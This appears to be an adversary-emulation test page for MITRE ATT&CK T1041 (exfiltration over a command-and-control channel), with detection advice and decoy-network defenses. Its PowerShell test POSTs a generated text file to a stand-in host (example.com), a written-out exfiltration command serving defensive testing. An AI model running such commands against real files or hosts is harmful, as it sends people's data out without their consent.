Ctrl+K

T1041 - Exfiltration Over C2 Channel

T1041 - Exfiltration Over C2 Channel#

Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.

Atomic Tests#

Atomic Test #1 - C2 Data ExfiltrationExfiltrates a file present on the victim machine to the C2 server.#

Supported Platforms: windows#### Attack Commands: Run with powershell

if(-not (Test-Path $env:TEMP\LineNumbers.txt)){ 
  1..100 | ForEach-Object { Add-Content -Path $env:TEMP\LineNumbers.txt -Value "This is line $_." }
}
[System.Net.ServicePointManager]::Expect100Continue = $false
$filecontent = Get-Content -Path $env:TEMP\LineNumbers.txt
Invoke-WebRequest -Uri example.com -Method POST -Body $filecontent -DisableKeepAlive

Invoke-AtomicTest T1041 -TestNumbers 1

Detection#

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Shield Active Defense#

Network Manipulation#

Make changes to network properties and functions to achieve a desired effect.

Network Manipulation allows a defender to throttle network speeds, segment the network, maintain a unique IP addressing scheme, or add a kill switch to cut off network access if needed.

Opportunity#

There is an opportunity to disrupt or enable and adversary’s exfiltration activities by blocking/unblocking the traffic to their Command and Control (C2) location.

Use Case#

A defender can prevent or enable use of alternate protocols for exfiltration by blocking/unblocking unnecessary ports and protocols.

Procedures#

Add a kill switch to a decoy network that can be used to shutdown all network communication if an adversary takes an action that is out of the desired scope. Introduce intermittent network packet loss on a decoy network to interfere with an adversary’s activities.

Contents